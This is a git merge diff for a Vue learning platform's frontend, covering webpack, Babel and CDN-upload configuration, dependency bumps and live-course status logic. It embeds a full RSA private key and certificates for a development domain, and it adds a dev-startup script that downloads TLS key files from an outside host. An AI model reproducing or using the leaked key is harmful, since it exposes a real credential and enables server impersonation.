提交 730905b8 authored 作者: 王鹏飞's avatar 王鹏飞

merge

module.exports = {
domain: 'dev.ezijing.com',
url: 'http://dev.ezijing.com:4002/api',
// apiBaseURL: '//demo-login.ezijing.com/'
url: 'https://kelley-learning2.ezijing.com/api',
apiBaseURL: '/',
others: {
url: '/app/learn/course'
url: '/app/learn/course',
loginUrl: 'https://login2.ezijing.com/kelley/login/index'
},
webpack: {
externals: {
'CKEDITOR': 'window.CKEDITOR',
'VideoJs': 'window.swfobject',
'Base64': 'window.Base64',
'md5': 'window.md5',
'regeneratorRuntime': 'window.regeneratorRuntime',
'$': 'window.$',
'Aliplayer': 'window.Aliplayer',
'AliPlayerComponent': 'window.AliPlayerComponent'
CKEDITOR: 'window.CKEDITOR',
VideoJs: 'window.swfobject',
Base64: 'window.Base64',
md5: 'window.md5',
regeneratorRuntime: 'window.regeneratorRuntime',
$: 'window.$',
Aliplayer: 'window.Aliplayer',
AliPlayerComponent: 'window.AliPlayerComponent'
// 'sentNotify': 'window.sentNotify',
}
},
ProvidePlugin: {
}
ProvidePlugin: {}
}
module.exports = {
url: '//api.ezijing.com',
url: '/',
DesDir: '../client-dist',
apiBaseURL: '/api',
apiBaseURL: '/',
others: {
url: '/app/learn/course'
url: '/app/learn/course',
loginUrl: 'https://login.ezijing.com/kelley/login/index'
},
webpack: {
externals: {
'CKEDITOR': 'window.CKEDITOR',
'VideoJs': 'window.swfobject',
'Base64': 'window.Base64',
'md5': 'window.md5',
'regeneratorRuntime': 'window.regeneratorRuntime',
'$': 'window.$',
'Aliplayer': 'window.Aliplayer',
'AliPlayerComponent': 'window.AliPlayerComponent'
CKEDITOR: 'window.CKEDITOR',
VideoJs: 'window.swfobject',
Base64: 'window.Base64',
md5: 'window.md5',
regeneratorRuntime: 'window.regeneratorRuntime',
$: 'window.$',
Aliplayer: 'window.Aliplayer',
AliPlayerComponent: 'window.AliPlayerComponent'
// 'sentNotify': 'window.sentNotify',
}
},
ProvidePlugin: {
}
ProvidePlugin: {}
}
module.exports = {
url: '//api.ezijing.com',
url: '/',
DesDir: '../client-dist',
apiBaseURL: '/api',
apiBaseURL: '/',
others: {
url: '/app/learn/course'
url: '/app/learn/course',
loginUrl: 'https://login2.ezijing.com/kelley/login/index'
},
isUploadStatic: false,
webpack: {
externals: {
'CKEDITOR': 'window.CKEDITOR',
'VideoJs': 'window.swfobject',
'Base64': 'window.Base64',
'md5': 'window.md5',
'regeneratorRuntime': 'window.regeneratorRuntime',
'$': 'window.$',
'Aliplayer': 'window.Aliplayer',
'AliPlayerComponent': 'window.AliPlayerComponent'
CKEDITOR: 'window.CKEDITOR',
VideoJs: 'window.swfobject',
Base64: 'window.Base64',
md5: 'window.md5',
regeneratorRuntime: 'window.regeneratorRuntime',
$: 'window.$',
Aliplayer: 'window.Aliplayer',
AliPlayerComponent: 'window.AliPlayerComponent'
// 'sentNotify': 'window.sentNotify',
}
},
ProvidePlugin: {
}
ProvidePlugin: {}
}
var semver = require('semver')
var requiredVersion = require('../package.json').engines.node
function checkNodeVersion (wanted, id) {
if (!semver.satisfies(process.version, wanted)) {
console.log('\x1b[91m%s\x1B[0m',
'You are using Node ' + process.version + ', but this version of ' + id +
' requires Node ' + wanted + '.\nPlease upgrade your Node version.'
)
process.exit(1)
}
}
checkNodeVersion(requiredVersion, '`node uploadAliyunCDN.js`')
const isDev = process.env.NODE_ENV
const RegStrs = require('./regExpStr.js')
let config = {
isDev: isDev,
......@@ -12,6 +13,8 @@ let config = {
isHttps: true,
isEnableToIphoneDebugger: false,
CDN_BASE: 'https://zws-imgs-pub.ezijing.com/',
CDN_DIR: 'static/build/learn-kelley/',
isUploadStatic: false,
......@@ -19,10 +22,12 @@ let config = {
webpack: {}
}
config.RegStrs = RegStrs
let vueClientConfig = {}
config.domain = 'dev.ezijing.com'
config.domain = ''
if (config.isDev === 'development') {
config.url = 'http://dev.ezijing.com:12002'
config.url = 'http://' + config.domain + ':12002'
try {
vueClientConfig = require('../.config.dev.js')
} catch (error) {
......
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAgddAmdjWL+4JUXvmiR/lr9cbdoctEGLwdLpnIrRlL/oVKubZ
TrASed5pA2kHKUbbV9i64iNIzn668ziytivudRiuGL4wBTPdtlpkSty9ij0ZHZXe
23oWQ73fV3FNROp3ekLmIYHqo2ep5hhfq1A4Sey7IM1Z0A9OF6MV7Tgqm+8a6Fy4
eNbgx99f0n7nquGjYZ3RcnU0j6xzfQhOqOYmhk4flQqSx6Mb6sSmWM7V4/h/554L
QyJNV3ngNfT3ZFmAmhIZt7n+o3svzIqwghiZSj0K9jyE7zbSZjVUBEQztFUcfYgP
ZQfZFFsdgIkFSvR3cXIpIiN8oPf8xK6naApOXwIDAQABAoIBAHKlKKJvZvgdO1ca
ir1rT7jKu7IVu4GritvWtzhahrotHEGsYhZru3SmIJ1lQHB+4zAW6zS/qQrDtbkK
yCm4cq4sI5UvYWFGoa7g84tyi12jgyiva37ptv0Li0g/f9WpHePzbBYMC61K3CaS
QO8YPwtvHu/gwjvHN9IBK1wxatYRriAfR6CF2+pfZXhlq3nprc0z9YypExLg2Swa
ML1uQGLObDHAFKheVFYOgWOncMbG5eXNV9mdfzoUuc+mkENDtynQUTzI2ZM4OZFr
uMjto7y4RLFu463Rg0ijg2MXL4FbygzclaePNL7YBS6wed0Z8cE26FvbG5vM//Qc
qYK+WBECgYEA0FdJ7tPzgBvn4VsvBBdA8gmmFmmD/TJxehrxAwn/x0QkcZa6ngxJ
ScgcicJ2OSM049zId35KA4OV7aGUC6QKdG6JbL00Wqg9xWbsHiiB9XzV1iDghTug
35cDWhRN8SnMgBhQ85l5ps8NJuLS/fqLBK0/yeE54mkWKqvD4JS39KcCgYEAn4rl
Uc4PQ/xkgCKCTOCIYmzvDUuZcS0pA0MU/uJ/aQIwaJFanIehczs6Wg/Gb0YhKx0h
cMDuvZYY2XjbCic8eDNE7ED0hUHBAa8VAQZwS22ds/qNoooCO5UcHPRevenb/dIk
oKQTrI+4e5izQtuV3YLJMeH5Ba9bUP45iaZDt4kCgYEAnBGnmrc/46oD7HdoIwJg
bm/38TYd3+CXzUa9YO9uohFT05t8NMUzaYf0iOYZtfe/uSo9KfZ672L1P0wZIRdD
lbDwVXru6zK5A1V0b6scn49iiMOcLXJbsuLnaeVn9c7AGP0eNz2zOdhFG+oy8Htt
BJXcARktSYQ7TL/bPjNqEmUCgYB54o8XVCltcyEEk1igitkm+LoYmiz7vdibWWBs
6XUVMErzWDi1ZRj/A7ysmWisEhO88GBf18WMqWMKob4Vn6we2GxLYcRtGbLuKmgN
hHG97lyQ51XVW0IhauUzaa4HwOYEn8rDvxYYuyPhqOMqrL9tn0E+DrlEkpdc5Rvo
AVGyoQKBgGYvAeoKrdkfLUUnvRBIju9/bg5H6t1MY8lYi4WEnL+aPn056LV43LU9
+gF7+S7f8Er6WiJCCb7laYeDyC5adqnF/fI//4iNsarid86blirXfJMSfTG+GkZM
OEBHd/sX0IbRUt6MCxiG3Znmdpny3/MG4CegPMtdohQktQEAS2yJ
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFiDCCBHCgAwIBAgIQAepAKb4wAxmrtof7BwPQSDANBgkqhkiG9w0BAQsFADBu
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMS0wKwYDVQQDEyRFbmNyeXB0aW9uIEV2ZXJ5d2hlcmUg
RFYgVExTIENBIC0gRzEwHhcNMTkxMTA4MDAwMDAwWhcNMjAxMTA3MTIwMDAwWjAa
MRgwFgYDVQQDEw9kZXYuZXppamluZy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCB10CZ2NYv7glRe+aJH+Wv1xt2hy0QYvB0umcitGUv+hUq5tlO
sBJ53mkDaQcpRttX2LriI0jOfrrzOLK2K+51GK4YvjAFM922WmRK3L2KPRkdld7b
ehZDvd9XcU1E6nd6QuYhgeqjZ6nmGF+rUDhJ7LsgzVnQD04XoxXtOCqb7xroXLh4
1uDH31/Sfueq4aNhndFydTSPrHN9CE6o5iaGTh+VCpLHoxvqxKZYztXj+H/nngtD
Ik1XeeA19PdkWYCaEhm3uf6jey/MirCCGJlKPQr2PITvNtJmNVQERDO0VRx9iA9l
B9kUWx2AiQVK9HdxcikiI3yg9/zErqdoCk5fAgMBAAGjggJ0MIICcDAfBgNVHSME
GDAWgBRVdE+yck/1YLpQ0dfmUVyaAYca1zAdBgNVHQ4EFgQU28ndXe6qIDlhPWX5
+gzJoRhaQQowGgYDVR0RBBMwEYIPZGV2LmV6aWppbmcuY29tMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwTAYDVR0gBEUwQzA3
BglghkgBhv1sAQIwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQu
Y29tL0NQUzAIBgZngQwBAgEwgYAGCCsGAQUFBwEBBHQwcjAkBggrBgEFBQcwAYYY
aHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEoGCCsGAQUFBzAChj5odHRwOi8vY2Fj
ZXJ0cy5kaWdpY2VydC5jb20vRW5jcnlwdGlvbkV2ZXJ5d2hlcmVEVlRMU0NBLUcx
LmNydDAJBgNVHRMEAjAAMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYApLkJkLQY
WBSHuxOizGdwCjw1mAT5G9+443fNDsgN3BAAAAFuSnTaJgAABAMARzBFAiEAtYCW
PLYE6pylBOsB1MmETgxGpYrG64Osn/XXyJlh+/UCIEnttMCBvNif4hpJfAQibP/Q
bJ9w0VYC59hi8Tmcf/mfAHcAXqdz+d9WwOe1Nkh90EngMnqRmgyEoRIShBh1loFx
RVgAAAFuSnTZSQAABAMASDBGAiEAsMgDWdSJ5d2jiXoNyxJ5FY7+3PET59vgvxi9
Eev9MwECIQC3sfR8sRWxJg82xH7lIA9sN87p7fLmr+KyhnuAK+2bcjANBgkqhkiG
9w0BAQsFAAOCAQEAOXMhz5dapVgYoLe23i+rEbBeO648c3cAO11qubqE0b5ie2bY
4DuatptwiLA47xfSVbFF0Y44cPL1b0zHe+Ki9TpcFP+TQ/+cPD2bPrqovI2uh8Qi
1RU7baLoYO9t7NxaPXh9RtRLUufJHas7HcWtLw/nPvVi+SuhgiiPytWdVM64dIPz
+nP9YY6wZhp4S/vNw5T7LARaw28xrEPzgCzWoXBUDyLB1slU3A2Uu+vl4lilcVeF
B/hl/75PWIdlxeRsD2V4TGCg796eL1BTVYEh7+mjvvaft+1/jwofKtGxg34YZHfl
6M22MuuP1pLviPZEE4ZlPXvltUV/Qq47LvZkTg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEqjCCA5KgAwIBAgIQAnmsRYvBskWr+YBTzSybsTANBgkqhkiG9w0BAQsFADBh
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD
QTAeFw0xNzExMjcxMjQ2MTBaFw0yNzExMjcxMjQ2MTBaMG4xCzAJBgNVBAYTAlVT
MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
b20xLTArBgNVBAMTJEVuY3J5cHRpb24gRXZlcnl3aGVyZSBEViBUTFMgQ0EgLSBH
MTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALPeP6wkab41dyQh6mKc
oHqt3jRIxW5MDvf9QyiOR7VfFwK656es0UFiIb74N9pRntzF1UgYzDGu3ppZVMdo
lbxhm6dWS9OK/lFehKNT0OYI9aqk6F+U7cA6jxSC+iDBPXwdF4rs3KRyp3aQn6pj
pp1yr7IB6Y4zv72Ee/PlZ/6rK6InC6WpK0nPVOYR7n9iDuPe1E4IxUMBH/T33+3h
yuH3dvfgiWUOUkjdpMbyxX+XNle5uEIiyBsi4IvbcTCh8ruifCIi5mDXkZrnMT8n
wfYCV6v6kDdXkbgGRLKsR4pucbJtbKqIkUGxuZI2t7pfewKRc5nWecvDBZf3+p1M
pA8CAwEAAaOCAU8wggFLMB0GA1UdDgQWBBRVdE+yck/1YLpQ0dfmUVyaAYca1zAf
BgNVHSMEGDAWgBQD3lA1VtFMu2bwo+IbG8OXsj3RVTAOBgNVHQ8BAf8EBAMCAYYw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBIGA1UdEwEB/wQIMAYBAf8C
AQAwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdp
Y2VydC5jb20wQgYDVR0fBDswOTA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQu
Y29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDBMBgNVHSAERTBDMDcGCWCGSAGG
/WwBAjAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BT
MAgGBmeBDAECATANBgkqhkiG9w0BAQsFAAOCAQEAK3Gp6/aGq7aBZsxf/oQ+TD/B
SwW3AU4ETK+GQf2kFzYZkby5SFrHdPomunx2HBzViUchGoofGgg7gHW0W3MlQAXW
M0r5LUvStcr82QDWYNPaUy4taCQmyaJ+VB+6wxHstSigOlSNF2a6vg4rgexixeiV
4YSB03Yqp2t3TeZHM9ESfkus74nQyW7pRGezj+TC44xCagCQQOzzNmzEAP2SnCrJ
sNE2DpRVMnL8J6xBRdjmOsC3N6cQuKuRXbzByVBjCqAA8t1L0I+9wXJerLPyErjy
rMKWaBFLmfK/AHNF4ZihwPGOc7w6UHczBZXH5RFzJNnww+WnKuTPI0HfnVH8lg==
-----END CERTIFICATE-----
const fs = require('fs')
const path = require('path')
const request = require('request')
const _conf = require('./config')
fs.writeFileSync(path.join(__dirname, _conf.domain + '.key'), '', { encoding: 'utf8', mode: 0o755 })
fs.writeFileSync(path.join(__dirname, _conf.domain + '.pem'), '', { encoding: 'utf8', mode: 0o755 })
request('https://ssl.godzyx.com/' + _conf.domain + '/' + _conf.domain + '.key?get=allow').pipe(fs.createWriteStream(path.join(__dirname, _conf.domain + '.key')))
request('https://ssl.godzyx.com/' + _conf.domain + '/' + _conf.domain + '.pem?get=allow').pipe(fs.createWriteStream(path.join(__dirname, _conf.domain + '.pem')))
/* 由于正则表达式,不能进行跟 gulpfile 中 去注释 在一起 */
module.exports = {
regExp_static: /('|"|`)[\.|\/]*?static\/(.*?\.(png|jpe?g|gif|svg|ico)(\?.*)?)\1/g
}
const _conf = require('./config')
module.exports = function (source) {
if (_conf.isDev !== 'development') {
return source
.replace(_conf.RegStrs.regExp_static, '$1' + _conf.CDN_BASE + _conf.CDN_DIR + 'static/$2$1')
} else {
return source
}
}
/**
* 本文件执行,需要 node -v >= v8.11.3
* 原因:其中使用很多es6新特性,需要高版本才能直接识别并运行
* 放服务器上 上传慢,而且经常报错(没找到原因),最后改为打包完成后自动上传不在服务器上deploy时再上传了
*/
const fs = require('fs')
const path = require('path')
// 这个包本身也是用es6语法写的,低版本node编译解析不了
const OSS = require('ali-oss')
const conf = require('./config')
......@@ -18,23 +13,22 @@ const client = new OSS({
bucket: 'zws-imgs-pub'
})
/* 定位到对应 public目录下 */
const headers = {
'x-oss-traffic-limit': 8 * 1024 * 100 * 100
}
const DIR_PATH = path.join(__dirname, '../' + conf.DesDir)
/* 上传对应目录 */
const PREFIX_PATH = conf.CDN_DIR
/* 是否上传static目录 */
const isUploadStatic = conf.isUploadStatic
let fileCount = 1
/**
* 调用接口,单个文件上传
* @param {string} dirPath 传入对应需要遍历的路径
* @param {function} callback 加入一个回调方法,执行文件上传
*/
async function uploadFile (prefixPath, dirFileName) {
try {
const upFilePath = prefixPath.replace(new RegExp(DIR_PATH, 'gi'), '') + path.basename(dirFileName)
let result = await client.put(prefixPath + path.basename(dirFileName), dirFileName)
const result = await client.put(prefixPath + path.basename(dirFileName), dirFileName, {
headers,
timeout: 600000
})
if (result.res.status === 200) {
console.log('第' + fileCount++ + '个文件,已上传:' + conf.CDN_BASE + upFilePath)
return { status: 200 }
......@@ -45,24 +39,14 @@ async function uploadFile (prefixPath, dirFileName) {
}
}
/**
* 循环遍历文件,准备上传文件
* 原生js 遍历方法
* @param {string} dirPath 传入对应需要遍历的路径
* @param {function} callback 加入一个回调方法,执行文件上传
*/
function uploadfiles (dirPath, callback) {
/* 根据文件路径读取文件 */
const files = fs.readdirSync(dirPath)
files.forEach(function (filename, i) {
const filedir = path.join(dirPath, filename)
const info = fs.statSync(filedir)
if (info.isDirectory()) {
/* 确定是否上传 */
if (!(isUploadStatic ? true : filename !== 'static')) { return }
/* 得到对应目录结构 */
const morePath = filedir.replace(new RegExp(DIR_PATH, 'gi'), '') + '/'
/* 递归,如果是文件夹,就继续遍历该文件夹下面的文件 */
uploadfiles(filedir, function (filedir) {
uploadFile(path.join(PREFIX_PATH, morePath), filedir)
})
......@@ -77,5 +61,4 @@ function uploadfiles (dirPath, callback) {
return true
}
/* 批量上传文件 */
uploadfiles(DIR_PATH, null)
......@@ -7,6 +7,7 @@ const _conf = require('./config')
const $GLOBAL = {
isDev: _conf.isDev,
ResDir: _conf.ResDir,
'isEnableToIphoneDebugger': _conf.isEnableToIphoneDebugger,
templatePath: path.resolve(__dirname, '../' + _conf.HtmlPath),
icoPath: _conf.IcoPath,
......@@ -21,9 +22,12 @@ const $GLOBAL = {
EntryStaticPath: path.resolve(__dirname, '../' + 'static'),
OutputStaticPath: path.resolve(__dirname, '../' + _conf.DesDir + '/static'),
RegStrs: _conf.RegStrs,
webConf: {
'isDev': _conf.isDev,
'serverPort': process.env.SERVER_PORT || 8000,
'isEnableToIphoneDebugger': _conf.isEnableToIphoneDebugger,
'domain': _conf.domain,
'url': _conf.url,
'isHttps': _conf.isHttps,
......@@ -50,7 +54,8 @@ $GLOBAL.BaseConfig = {
'@api': path.resolve(__dirname, '../' + $GLOBAL.ResDir + '/api'),
'@action': path.resolve(__dirname, '../' + $GLOBAL.ResDir + '/action'),
'@tool': path.resolve(__dirname, '../' + $GLOBAL.ResDir + '/tool')
}
},
extensions: ['.js', '.json', '.jsx', '.vue']
},
module: {
rules: [
......@@ -60,6 +65,12 @@ $GLOBAL.BaseConfig = {
exclude: /node_modules/,
enforce: 'pre'
},
{
test: /\.(vue|js|jsx)|((sa|sc|c)ss)$/,
loader: './build/stringReplaceLoader.js',
exclude: /node_modules/,
enforce: 'pre'
},
{
test: /\.vue$/,
loader: 'vue-loader'
......@@ -69,10 +80,32 @@ $GLOBAL.BaseConfig = {
exclude: /(node_modules)|(dist)/,
loader: 'babel-loader',
options: {
presets: ['env', 'stage-2'],
presets: [[
'@babel/preset-env',
{
"targets": {
"browsers": [
"last 2 versions",
"ie >= 11"
],
},
corejs: '3.6.5',
useBuiltIns: 'usage'
}
]],
plugins: [
'transform-vue-jsx',
'syntax-dynamic-import'
'@babel/plugin-syntax-jsx',
'@babel/plugin-proposal-class-properties',
'@babel/plugin-syntax-dynamic-import',
[
'@babel/plugin-transform-runtime',
{
corejs: 3,
helpers: true,
regenerator: true,
useESModules: false
}
]
]
}
},
......
......@@ -9,7 +9,9 @@ const VueLoaderPlugin = require('vue-loader/lib/plugin')
const AutoPrefixer = require('autoprefixer')
const MiniCssExtractPlugin = require('mini-css-extract-plugin')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const HtmlReplaceWebpackPlugin = require('html-replace-webpack-plugin')
const CopyWebpackPlugin = require('copy-webpack-plugin')
const VconsoleWebpackPlugin = require('vconsole-webpack-plugin')
const $GLOBAL = require('./webpack.base.conf')
......@@ -26,9 +28,10 @@ if ($GLOBAL.isDev === 'development') {
port: $GLOBAL.webConf.serverPort,
disableHostCheck: false,
host: $GLOBAL.webConf.domain || 'localhost',
http2: false,
https: $GLOBAL.webConf.isHttps && {
key: fs.readFileSync(path.join(__dirname, '../static/cert/dev.ezijing.com.key')),
cert: fs.readFileSync(path.join(__dirname, '../static/cert/dev.ezijing.com.pem'))
key: fs.readFileSync(path.join(__dirname, $GLOBAL.webConf.domain + '.key')),
cert: fs.readFileSync(path.join(__dirname, $GLOBAL.webConf.domain + '.pem'))
},
overlay: {
errors: true
......@@ -77,7 +80,7 @@ if ($GLOBAL.isDev === 'development') {
}
},
{
loader: 'sass-loader', // 不再使用本身默认 node-sass,部分mac安装有问题。
loader: 'sass-loader',
options: {
implementation: require('dart-sass')
}
......@@ -92,6 +95,10 @@ if ($GLOBAL.isDev === 'development') {
template: $GLOBAL.templatePath,
inject: true,
favicon: $GLOBAL.icoPath
}),
new VconsoleWebpackPlugin({
filter: [],
enable: $GLOBAL.isEnableToIphoneDebugger
})
]
})
......@@ -100,7 +107,7 @@ if ($GLOBAL.isDev === 'development') {
mode: 'production',
entry: {
app: $GLOBAL.EntryPath,
vendor: ['vue', 'vue-router']
vendor: ['vue', 'vue-router', 'vue-i18n']
},
module: {
rules: [{
......@@ -128,7 +135,7 @@ if ($GLOBAL.isDev === 'development') {
}
},
{
loader: 'sass-loader', // 不再使用本身默认 node-sass,部分mac安装有问题。
loader: 'sass-loader',
options: {
implementation: require('dart-sass')
}
......@@ -152,6 +159,12 @@ if ($GLOBAL.isDev === 'development') {
collapseWhitespace: true
}
}),
new HtmlReplaceWebpackPlugin([
{
pattern: $GLOBAL.RegStrs.regExp_static,
replacement: '$1' + $GLOBAL.webConf.CDN_PATH + 'static/$2$1'
}
]),
new CopyWebpackPlugin([
{
from: $GLOBAL.EntryStaticPath,
......@@ -161,7 +174,11 @@ if ($GLOBAL.isDev === 'development') {
return content
}
}
])
]),
new VconsoleWebpackPlugin({
filter: [],
enable: $GLOBAL.isEnableToIphoneDebugger
})
],
optimization: {
runtimeChunk: {
......@@ -170,27 +187,19 @@ if ($GLOBAL.isDev === 'development') {
splitChunks: {
chunks: 'async',
minSize: 30000,
maxSize: 400000, // 大于400kb 会再进行拆分,可以进行优化时,添加
maxSize: 400000,
minChunks: 1,
maxAsyncRequests: 5, // 按需加载块时并行请求的最大数量
maxInitialRequests: 3, // 初始页面加载时并行请求的最大数量
maxAsyncRequests: 5,
maxInitialRequests: 3,
name: false,
cacheGroups: {
vendor: { // 将所有node_modules中模块 js打包到一起,并拆分
vendor: {
name: 'vendor',
chunks: 'initial',
priority: -10,
reuseExistingChunk: false,
test: /node_modules\/(.*)\.js/
},
// styles: { // 将所有node_modules中模块 css、scss打包到一起,并拆分,暂时没用,还在研究
// name: 'styles',
// test: /node_modules\/\.(sa|sc|c)ss$/,
// chunks: 'all',
// minChunks: 1,
// reuseExistingChunk: true,
// enforce: true
// }
}
}
}
......
......@@ -272,7 +272,7 @@ export default {
// attrs: {
// multiple: true,
// headers: {
// 'tenant': 'sofia'
// 'tenant': 'kelley'
// }
// },
// html: `
......
......@@ -37,7 +37,7 @@ export default class ExamAction {
attrs: {
multiple: true,
headers: {
'tenant': 'sofia'
'tenant': 'kelley'
}
},
html: `
......@@ -92,7 +92,7 @@ export default class ExamAction {
attrs: {
multiple: true,
headers: {
'tenant': 'sofia'
'tenant': 'kelley'
}
},
html: `
......
This source diff could not be displayed because it is too large. You can view the blob instead.
{
"name": "@god/vue-client",
"version": "3.0.5",
"description": "kelley - 学习系统",
"version": "3.0.14",
"description": "适应于公司全系统的纯客户端开发模型",
"main": "index.js",
"scripts": {
"lint": "eslint --ext .js --ext .jsx --ext .vue src/",
"lint:fix": "eslint --fix --ext .js --ext .jsx --ext .vue src/",
"dev": "cross-env NODE_ENV=development SERVER_PORT=3001 webpack-dev-server --inline --progress --config build/webpack.client.conf.js",
"build:test": "cross-env NODE_ENV=test webpack --progress --config build/webpack.client.conf.js && cross-env NODE_ENV=test n use 8.11.3 ./build/uploadAliyunCDN.js",
"build:pro": "cross-env NODE_ENV=production webpack --progress --config build/webpack.client.conf.js && cross-env NODE_ENV=production n use 8.11.3 ./build/uploadAliyunCDN.js"
"dev": "npm run check:node && cross-env NODE_ENV=development node build/getSSL.js && cross-env NODE_ENV=development SERVER_PORT=3001 webpack-dev-server --inline --progress --config build/webpack.client.conf.js",
"build:test": "npm run check:node && cross-env NODE_ENV=test webpack --progress --config build/webpack.client.conf.js && cross-env NODE_ENV=test node ./build/uploadAliyunCDN.js",
"build:pro": "npm run check:node && cross-env NODE_ENV=production webpack --progress --config build/webpack.client.conf.js && cross-env NODE_ENV=production node ./build/uploadAliyunCDN.js",
"check:node": "node build/checkNodeVersion.js"
},
"repository": {
"type": "git",
......@@ -24,43 +25,51 @@
"node_modules/",
"assets/font-icons/"
],
"engines": {
"node": ">=8.9"
},
"devDependencies": {
"acorn": "^7.1.1",
"ali-oss": "^6.5.1",
"autoprefixer": "^9.7.5",
"babel-core": "^6.26.3",
"ali-oss": "^6.11.2",
"autoprefixer": "^9.8.6",
"babel-eslint": "^10.1.0",
"babel-helper-vue-jsx-merge-props": "^2.0.3",
"babel-loader": "^7.1.5",
"babel-plugin-syntax-dynamic-import": "^6.18.0",
"babel-plugin-syntax-jsx": "^6.18.0",
"babel-plugin-transform-vue-jsx": "^3.7.0",
"babel-preset-env": "^1.7.0",
"babel-preset-stage-2": "^6.24.1",
"clean-webpack-plugin": "^1.0.0",
"copy-webpack-plugin": "^5.1.1",
"css-loader": "^3.4.2",
"babel-loader": "^8.1.0",
"clean-webpack-plugin": "^1.0.1",
"copy-webpack-plugin": "^5.1.2",
"css-loader": "^4.3.0",
"dart-sass": "^1.25.0",
"eslint": "^6.8.0",
"eslint-config-standard": "^14.1.1",
"eslint-loader": "^3.0.4",
"eslint-plugin-html": "^6.0.0",
"eslint-plugin-import": "^2.20.2",
"eslint-plugin-html": "^6.1.0",
"eslint-plugin-import": "^2.22.1",
"eslint-plugin-node": "^11.1.0",
"eslint-plugin-promise": "^4.2.1",
"eslint-plugin-standard": "^4.0.1",
"eslint-plugin-vue": "^6.2.2",
"file-loader": "^6.0.0",
"html-webpack-plugin": "^4.0.4",
"file-loader": "^6.1.1",
"html-webpack-plugin": "^4.5.0",
"mini-css-extract-plugin": "^0.9.0",
"postcss-loader": "^3.0.0",
"sass-loader": "^7.3.1",
"style-loader": "^1.1.3",
"url-loader": "^4.0.0",
"webpack": "^4.42.1",
"webpack-cli": "^3.3.11",
"webpack-dev-server": "^3.10.3",
"webpack-merge": "^4.2.2"
"sass-loader": "^10.0.3",
"style-loader": "^2.0.0",
"url-loader": "^4.1.1",
"webpack": "^4.44.2",
"webpack-cli": "^3.3.12",
"webpack-dev-server": "^3.11.0",
"webpack-merge": "^4.2.2",
"html-replace-webpack-plugin": "^2.5.6",
"request": "^2.88.2",
"semver": "^1.1.4",
"vconsole-webpack-plugin": "^1.5.2",
"@babel/core": "^7.11.6",
"@babel/plugin-proposal-class-properties": "^7.10.4",
"@babel/plugin-syntax-dynamic-import": "^7.8.3",
"@babel/plugin-syntax-jsx": "^7.10.4",
"@babel/plugin-transform-runtime": "^7.11.5",
"@babel/preset-env": "^7.11.5",
"@babel/runtime-corejs3": "^7.11.2"
},
"dependencies": {
"axios": "^0.19.2",
......@@ -68,14 +77,14 @@
"element-ui": "^2.13.0",
"js-cookie": "^2.2.1",
"lodash": "^4.17.15",
"promise.prototype.finally": "^3.1.2",
"regenerator": "^0.14.4",
"qs": "^6.9.4",
"vue": "^2.6.11",
"vue-i18n": "^8.16.0",
"vue-loader": "^15.9.1",
"vue-meta-info": "^0.1.7",
"vue-router": "^3.1.6",
"vue-template-compiler": "^2.6.11",
"vuex": "^3.1.3"
"vuex": "^3.1.3",
"core-js": "^3.6.5"
}
}
......@@ -16,4 +16,6 @@ export default class AffairsAction extends BaseACTION {
updateAffairs (rid, obj) { return Affairs.updateAffairs(rid, obj).then(res => res) }
/* 重修图片上传 */
uploadFile (obj) { return Affairs.uploadFile(obj).then(res => res) }
/* 获取成绩 */
obtainReport (obj) { return Affairs.obtainReport(obj).then(res => res) }
}
......@@ -136,15 +136,19 @@ export default class CourseAction extends BaseACTION {
_homework.semester_id = data.semester_id
}
if (__.live && __.live.id) {
__.live.live_status = parseInt(__.live.live_status)
let str = ''
switch (__.live.live_status) {
case 0: str = '直播未开始'; break
case 1: str = '正在直播'; break
case 2: str = '直播结束'; break
case 1: str = '直播未开始'; break
case 2: str = '正在直播'; break
case 3: str = '直播结束'; break
case 4: str = '即将开始'; break
case 5: str = '直播未开始'; break
case 11: str = '直播结束'; break
default: str = '直播未开始'
}
// 5分钟内显示“即将开始”,5~1小时内“N分钟后开始”,1~24小时内“N小时后开始”,1天以上“N天后开始”天就显示年月日
if (__.live.live_status === 0 && __.live.start_time) {
if (__.live.live_status === 1 && __.live.start_time) {
const time = (new Date(__.live.start_time).getTime() - new Date().getTime()) / 1000
if (time <= 5 * 60) {
str = '即将开始'
......@@ -156,7 +160,7 @@ export default class CourseAction extends BaseACTION {
str = parseInt(time / (24 * 60 * 60)) + '天后开始'
}
}
if (__.live.live_status === 2 && __.live.enable_record && __.live.record_url) {
if (__.live.live_status === 3 && __.live.enable_record && __.live.record_url) {
str = '观看回放'
}
__.live.statusStr = str
......
......@@ -37,7 +37,11 @@ export default class OtherAction extends BaseACTION {
*/
uploadFile (obj) { return Other.uploadFile(obj).then(res => res) }
/**
* 调用个人信心 - 修改密码
* 修改密码
*/
updatePwd (obj) { return Other.updatePwd(obj).then(res => res) }
/**
* 修改用户信息
*/
updateUser (obj) { return Other.updateUser(obj).then(res => res) }
}
......@@ -88,6 +88,7 @@ export default class PlayerAction extends BaseACTION {
}
